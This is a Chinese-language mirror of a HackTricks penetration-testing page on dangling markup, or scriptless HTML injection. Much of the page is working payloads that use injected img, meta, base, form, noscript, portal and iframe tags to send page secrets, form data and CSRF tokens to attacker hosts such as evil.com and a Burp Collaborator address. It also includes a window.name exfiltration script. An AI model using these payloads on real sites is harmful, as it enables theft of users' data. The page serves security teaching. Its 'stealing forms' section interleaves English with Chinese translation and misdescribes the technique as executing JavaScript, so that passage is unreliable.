mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
285 lines
16 KiB
Markdown
285 lines
16 KiB
Markdown
|
# 悬挂标记 - HTML无脚本注入
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
|||
|
|
|||
|
* 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要访问**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|||
|
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|||
|
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
|||
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
|||
|
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
|||
|
|
|||
|
</details>
|
|||
|
|
|||
|
## 简介
|
|||
|
|
|||
|
当发现**HTML注入**时,可以使用此技术从用户那里提取信息。如果您**找不到任何方法来利用**[**XSS**](../xss-cross-site-scripting/),但可以**注入一些HTML标签**,这将非常有用。\
|
|||
|
如果某些**秘密以明文保存**在HTML中,并且您想要从客户端**窃取**它,或者如果您想要误导某些脚本执行,这也很有用。
|
|||
|
|
|||
|
这里提到的几种技术可以用于通过意想不到的方式(html标签、CSS、http-meta标签、表单、base等)绕过一些[**内容安全策略**](../content-security-policy-csp-bypass/)来窃取信息。
|
|||
|
|
|||
|
## 主要应用
|
|||
|
|
|||
|
### 窃取明文秘密
|
|||
|
|
|||
|
如果您注入`<img src='http://evil.com/log.cgi?`,当页面加载时,受害者将向您发送从注入的`img`标签到代码中下一个引号之间的所有代码。如果某个秘密恰好位于该代码块中,您将窃取它(您也可以使用双引号进行相同操作,请查看哪个更有趣)。
|
|||
|
|
|||
|
如果`img`标签被禁止(例如由于CSP),您还可以使用`<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`。
|
|||
|
```
|
|||
|
<img src='http://attacker.com/log.php?HTML=
|
|||
|
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
|
|||
|
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
|
|||
|
```
|
|||
|
请注意,**Chrome会阻止包含"<"或"\n"的HTTP URL**,因此您可以尝试其他协议方案,如"ftp"。
|
|||
|
|
|||
|
您还可以滥用CSS的`@import`(它会发送直到找到";"为止的所有代码)。
|
|||
|
```markup
|
|||
|
<style>@import//hackvertor.co.uk? <--- Injected
|
|||
|
<b>steal me!</b>;
|
|||
|
```
|
|||
|
您还可以使用**`<table`**:
|
|||
|
```bash
|
|||
|
<table background='//your-collaborator-id.burpcollaborator.net?'
|
|||
|
```
|
|||
|
您还可以插入一个`<base`标签。所有的信息都将被发送,直到引号关闭,但这需要一些用户交互(用户必须点击某个链接,因为base标签会改变链接指向的域名):
|
|||
|
```markup
|
|||
|
<base target=' <--- Injected
|
|||
|
steal me'<b>test</b>
|
|||
|
```
|
|||
|
### 盗取表单
|
|||
|
|
|||
|
In some cases, web applications may have forms that contain sensitive information such as usernames, passwords, or credit card details. As a hacker, you can exploit vulnerabilities in the application to steal this information.
|
|||
|
|
|||
|
在某些情况下,Web应用程序可能包含包含敏感信息的表单,例如用户名、密码或信用卡详细信息。作为黑客,您可以利用应用程序中的漏洞来窃取这些信息。
|
|||
|
|
|||
|
One technique to steal forms is by injecting malicious code into the application's HTML markup. This technique is known as "dangling markup" or "HTML scriptless injection". It involves injecting code that is not executed by the browser but is still present in the HTML source code.
|
|||
|
|
|||
|
一种窃取表单的技术是将恶意代码注入到应用程序的HTML标记中。这种技术被称为“悬挂标记”或“HTML无脚本注入”。它涉及注入在HTML源代码中未被浏览器执行但仍然存在的代码。
|
|||
|
|
|||
|
To steal a form using dangling markup, you need to identify a vulnerable input field in the application. This can be a text input, password input, or any other form field that accepts user input.
|
|||
|
|
|||
|
要使用悬挂标记窃取表单,您需要识别应用程序中的一个易受攻击的输入字段。这可以是文本输入、密码输入或任何其他接受用户输入的表单字段。
|
|||
|
|
|||
|
Once you have identified the vulnerable input field, you can inject malicious code into the value attribute of the field. This code can be JavaScript code that captures the form data and sends it to an external server controlled by the hacker.
|
|||
|
|
|||
|
一旦您确定了易受攻击的输入字段,您可以将恶意代码注入到字段的value属性中。这段代码可以是JavaScript代码,用于捕获表单数据并将其发送到黑客控制的外部服务器。
|
|||
|
|
|||
|
When a user submits the form, the injected code will execute and send the form data to the hacker's server without the user's knowledge. This allows the hacker to steal sensitive information from the form.
|
|||
|
|
|||
|
当用户提交表单时,注入的代码将在用户不知情的情况下执行并将表单数据发送到黑客的服务器。这使得黑客可以从表单中窃取敏感信息。
|
|||
|
|
|||
|
To protect against this type of attack, web developers should sanitize and validate user input, and implement measures such as input filtering and output encoding to prevent code injection.
|
|||
|
|
|||
|
为了防止这种类型的攻击,Web开发人员应对用户输入进行清理和验证,并采取诸如输入过滤和输出编码等措施来防止代码注入。
|
|||
|
```markup
|
|||
|
<base href='http://evil.com/'>
|
|||
|
```
|
|||
|
然后,将数据发送到路径的表单(如`<form action='update_profile.php'>`)将把数据发送到恶意域。
|
|||
|
|
|||
|
### 偷取表单 2
|
|||
|
|
|||
|
设置一个表单头:`<form action='http://evil.com/log_steal'>`,这将覆盖下一个表单头,并且表单中的所有数据将被发送给攻击者。
|
|||
|
|
|||
|
### 偷取表单 3
|
|||
|
|
|||
|
按钮可以使用属性"formaction"更改表单信息将要发送到的URL:
|
|||
|
```markup
|
|||
|
<button name=xss type=submit formaction='https://google.com'>I get consumed!
|
|||
|
```
|
|||
|
攻击者可以利用这个技术来窃取信息。
|
|||
|
|
|||
|
### 窃取明文密码 2
|
|||
|
|
|||
|
使用前面提到的最新技术来窃取表单(注入新的表单头),然后可以注入一个新的输入字段:
|
|||
|
```markup
|
|||
|
<input type='hidden' name='review_body' value="
|
|||
|
```
|
|||
|
而这个输入字段将包含HTML中双引号之间以及下一个双引号之间的所有内容。这种攻击将"_**窃取明文密码**_"与"_**窃取表单2**_"相结合。
|
|||
|
|
|||
|
您可以通过注入一个表单和一个`<option>`标签来执行相同的操作。直到找到闭合的`</option>`标签之前的所有数据都将被发送:
|
|||
|
```markup
|
|||
|
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
|
|||
|
```
|
|||
|
### 表单参数注入
|
|||
|
|
|||
|
您可以更改表单的路径并插入新的值,以执行意外的操作:
|
|||
|
```markup
|
|||
|
<form action='/change_settings.php'>
|
|||
|
<input type='hidden' name='invite_user'
|
|||
|
value='fredmbogo'> ← Injected lines
|
|||
|
|
|||
|
<form action="/change_settings.php"> ← Existing form (ignored by the parser)
|
|||
|
...
|
|||
|
<input type="text" name="invite_user" value=""> ← Subverted field
|
|||
|
...
|
|||
|
<input type="hidden" name="xsrf_token" value="12345">
|
|||
|
...
|
|||
|
</form>
|
|||
|
```
|
|||
|
### 通过noscript窃取明文密码
|
|||
|
|
|||
|
`<noscript></noscript>`是一个标签,如果浏览器不支持JavaScript(您可以在[chrome://settings/content/javascript](chrome://settings/content/javascript)中启用/禁用Chrome中的JavaScript),则其内容将被解释。
|
|||
|
|
|||
|
一种从注入点到底部将网页内容泄露到攻击者控制的站点的方法是注入以下内容:
|
|||
|
```markup
|
|||
|
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
|
|||
|
```
|
|||
|
### 通过用户交互绕过CSP
|
|||
|
|
|||
|
从这个[PortSwigger的研究](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup)中,你可以了解到即使在**最严格的CSP限制**环境下,仍然可以通过一些**用户交互**来**泄露数据**。在这个例子中,我们将使用以下有效载荷:
|
|||
|
```markup
|
|||
|
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
|
|||
|
<base target='
|
|||
|
```
|
|||
|
请注意,您将要求**受害者**点击一个链接,该链接将将其重定向到您控制的**载荷**。还请注意,**`base`** 标签中的 **`target`** 属性将包含 **HTML 内容**,直到下一个单引号。\
|
|||
|
这将导致如果链接被点击,**`window.name`** 的值将是所有的 **HTML 内容**。因此,由于您控制着受害者点击链接后访问的页面,您可以访问该 **`window.name`** 并将数据**泄露**出去:
|
|||
|
```markup
|
|||
|
<script>
|
|||
|
if(window.name) {
|
|||
|
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
|
|||
|
</script>
|
|||
|
```
|
|||
|
### 误导性脚本工作流1 - HTML命名空间攻击
|
|||
|
|
|||
|
在HTML中插入一个新的带有id的标签,它将覆盖下一个标签,并且具有一个会影响脚本流程的值。在这个例子中,您可以选择与谁共享信息:
|
|||
|
```markup
|
|||
|
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
|
|||
|
...
|
|||
|
Share this status update with: ← Legitimate optional element of a dialog
|
|||
|
<input id='share_with' value=''>
|
|||
|
|
|||
|
...
|
|||
|
|
|||
|
function submit_status_update() {
|
|||
|
...
|
|||
|
request.share_with = document.getElementById('share_with').value;
|
|||
|
...
|
|||
|
}
|
|||
|
```
|
|||
|
### 误导性脚本工作流2 - 脚本命名空间攻击
|
|||
|
|
|||
|
通过插入HTML标签在JavaScript命名空间中创建变量。然后,这个变量将影响应用程序的流程:
|
|||
|
```markup
|
|||
|
<img id='is_public'> ← Injected markup
|
|||
|
|
|||
|
...
|
|||
|
|
|||
|
// Legitimate application code follows
|
|||
|
|
|||
|
function retrieve_acls() {
|
|||
|
...
|
|||
|
if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE
|
|||
|
is_public = true;
|
|||
|
else
|
|||
|
is_public = false;
|
|||
|
}
|
|||
|
|
|||
|
function submit_new_acls() {
|
|||
|
...
|
|||
|
if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true
|
|||
|
...
|
|||
|
}
|
|||
|
```
|
|||
|
### JSONP的滥用
|
|||
|
|
|||
|
如果你发现一个JSONP接口,你可以调用任意函数并传递任意数据:
|
|||
|
```markup
|
|||
|
<script src='/editor/sharing.js'>: ← Legitimate script
|
|||
|
function set_sharing(public) {
|
|||
|
if (public) request.access_mode = AM_PUBLIC;
|
|||
|
else request.access_mode = AM_PRIVATE;
|
|||
|
...
|
|||
|
}
|
|||
|
|
|||
|
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
|
|||
|
set_sharing({ ... })
|
|||
|
```
|
|||
|
或者你甚至可以尝试执行一些 JavaScript:
|
|||
|
```markup
|
|||
|
<script src='/search?q=a&call=alert(1)'></script>
|
|||
|
```
|
|||
|
### Iframe滥用
|
|||
|
|
|||
|
请注意,即使跨源,**子文档可以查看和设置父文档的位置属性**。这意味着您可以通过在**iframe**中加载一些代码来使客户端访问任何其他页面,例如:
|
|||
|
```markup
|
|||
|
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
|
|||
|
```
|
|||
|
这可以通过类似以下方式来减轻风险:_**sandbox='allow-scripts allow-top-navigation'**_
|
|||
|
|
|||
|
还可以利用 iframe 来从不同页面中泄露敏感信息,**使用 iframe 的 name 属性**。这是因为你可以创建一个 iframe,通过滥用 HTML 注入,使得**敏感信息出现在 iframe 的 name 属性中**,然后从初始 iframe 访问该 name 属性并泄露信息。
|
|||
|
```html
|
|||
|
<script>
|
|||
|
function cspBypass(win) {
|
|||
|
win[0].location = 'about:blank';
|
|||
|
setTimeout(()=>alert(win[0].name), 500);
|
|||
|
}
|
|||
|
</script>
|
|||
|
|
|||
|
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
|
|||
|
```
|
|||
|
有关更多信息,请查看[https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
|
|||
|
|
|||
|
### \<meta 滥用
|
|||
|
|
|||
|
您可以使用**`meta http-equiv`**执行**多个操作**,例如设置Cookie:`<meta http-equiv="Set-Cookie" Content="SESSID=1">` 或执行重定向(在此情况下为5秒):`<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
|
|||
|
|
|||
|
这可以通过使用与**http-equiv**相关的**CSP**来**避免**(`Content-Security-Policy: default-src 'self';` 或 `Content-Security-Policy: http-equiv 'self';`)
|
|||
|
|
|||
|
### 新的 \<portal HTML 标签
|
|||
|
|
|||
|
您可以在[此处](https://research.securitum.com/security-analysis-of-portal-element/)找到关于\<portal 标签可利用漏洞的非常**有趣的研究**。\
|
|||
|
在撰写本文时,您需要在Chrome中启用portal标签,方法是在`chrome://flags/#enable-portals`中进行设置,否则它将无法工作。
|
|||
|
```markup
|
|||
|
<portal src='https://attacker-server?
|
|||
|
```
|
|||
|
### HTML泄漏
|
|||
|
|
|||
|
并非所有HTML中泄漏连接的方法都对悬挂标记有用,但有时它可能会有所帮助。在这里查看它们:[https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
|
|||
|
|
|||
|
## SS泄漏
|
|||
|
|
|||
|
这是**悬挂标记和XS-Leaks的混合**。一方面,这种漏洞允许在我们将攻击的**同源页面**中**注入HTML**(但不能注入JS)。另一方面,我们不会直接攻击可以注入HTML的页面,而是攻击**另一个页面**。
|
|||
|
|
|||
|
{% content-ref url="ss-leaks.md" %}
|
|||
|
[ss-leaks.md](ss-leaks.md)
|
|||
|
{% endcontent-ref %}
|
|||
|
|
|||
|
## XS-Search/XS-Leaks
|
|||
|
|
|||
|
XS-Search是为了滥用**侧信道攻击**而定位于**窃取跨源信息**的技术。因此,它是一种与悬挂标记不同的技术,然而,其中一些技术滥用了HTML标签的包含(包括有和没有JS执行的情况),比如[**CSS注入**](../xs-search.md#css-injection)或[**延迟加载图片**](../xs-search.md#image-lazy-loading)**。**
|
|||
|
|
|||
|
{% content-ref url="../xs-search.md" %}
|
|||
|
[xs-search.md](../xs-search.md)
|
|||
|
{% endcontent-ref %}
|
|||
|
|
|||
|
## 暴力破解检测列表
|
|||
|
|
|||
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
|
|||
|
|
|||
|
## 参考资料
|
|||
|
|
|||
|
这里可以查看所有介绍的技术以及更多详细信息:
|
|||
|
|
|||
|
{% embed url="http://lcamtuf.coredump.cx/postxss/" %}
|
|||
|
|
|||
|
还可以在这里找到可以滥用的其他HTML标签:
|
|||
|
|
|||
|
{% embed url="http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/" %}
|
|||
|
|
|||
|
更多信息:
|
|||
|
|
|||
|
{% embed url="https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup" %}
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|||
|
|
|||
|
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**为你的公司做广告**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|||
|
* 发现我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|||
|
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
|||
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
|||
|
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
|||
|
|
|||
|
</details>
|